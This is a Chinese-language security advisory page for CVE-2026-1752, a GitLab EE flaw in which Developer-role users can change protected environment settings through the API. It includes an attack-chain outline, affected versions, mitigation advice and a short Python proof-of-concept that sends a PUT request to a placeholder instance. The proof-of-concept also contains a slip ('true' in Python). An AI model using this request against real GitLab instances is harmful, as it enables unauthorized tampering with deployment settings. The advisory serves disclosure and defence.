IPBUF安全漏洞报告
English
CVE-2026-1752 CVSS 4.3 中危

CVE-2026-1752 GitLab权限提升漏洞(开发者可修改受保护环境)

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-1752
漏洞类型
权限提升
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab EE

相关标签

权限提升GitLab访问控制API漏洞

漏洞概述

GitLab企业版(EE)存在权限提升漏洞。由于API中的授权检查不当,拥有开发者角色权限的认证用户可以修改受保护的环境设置。该漏洞影响11.3版本至18.10.3之前的多个版本,攻击者可利用此漏洞绕过权限限制,篡改关键环境配置。

技术细节

该漏洞源于GitLab EE API中存在的不正确的授权检查逻辑。在受影响的版本中,系统未能严格验证用户对特定资源的操作权限。通常只有Maintainer或Owner才能修改受保护环境,但攻击者利用Developer账户,通过构造特定的API请求(如修改环境变量或部署设置),即可绕过权限验证,直接修改本应受保护的环境设置。这破坏了GitLab的访问控制模型,可能导致恶意代码部署或关键配置被篡改。

攻击链分析

STEP 1
1. 信息收集
攻击者获取目标GitLab实例的地址,并注册或通过社工获取一个Developer角色的账号。
STEP 2
2. 身份认证
使用Developer账号登录GitLab,获取API访问令牌或Session Cookie。
STEP 3
3. 发起攻击
构造恶意的API请求(PUT/POST),指向受保护的环境设置接口,试图修改配置。
STEP 4
4. 权限绕过
由于后端授权校验缺失,API接受并处理了请求,成功修改环境设置。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target GitLab instance TARGET = "https://gitlab.example.com" PROJECT_ID = 1 ENVIRONMENT_ID = 2 # Attacker's token with Developer role TOKEN = "glpat-xxxxxxxxxxxxxxxxxxxx" headers = {"PRIVATE-TOKEN": TOKEN} # Payload to update protected environment settings payload = { "name": "production", "tier": "production", # Attempting to modify protected tier "stopable": true } url = f"{TARGET}/api/v4/projects/{PROJECT_ID}/environments/{ENVIRONMENT_ID}" response = requests.put(url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Environment settings modified.") else: print(f"[-] Exploit failed. Status code: {response.status_code}")

影响范围

GitLab EE 11.3 至 18.8.9
GitLab EE 18.9 至 18.9.5
GitLab EE 18.10 至 18.10.3

防御指南

临时缓解措施
如果无法立即升级,建议暂时限制开发者用户对GitLab API的访问权限,或通过WAF规则拦截针对环境设置接口的非管理员修改请求,直到完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表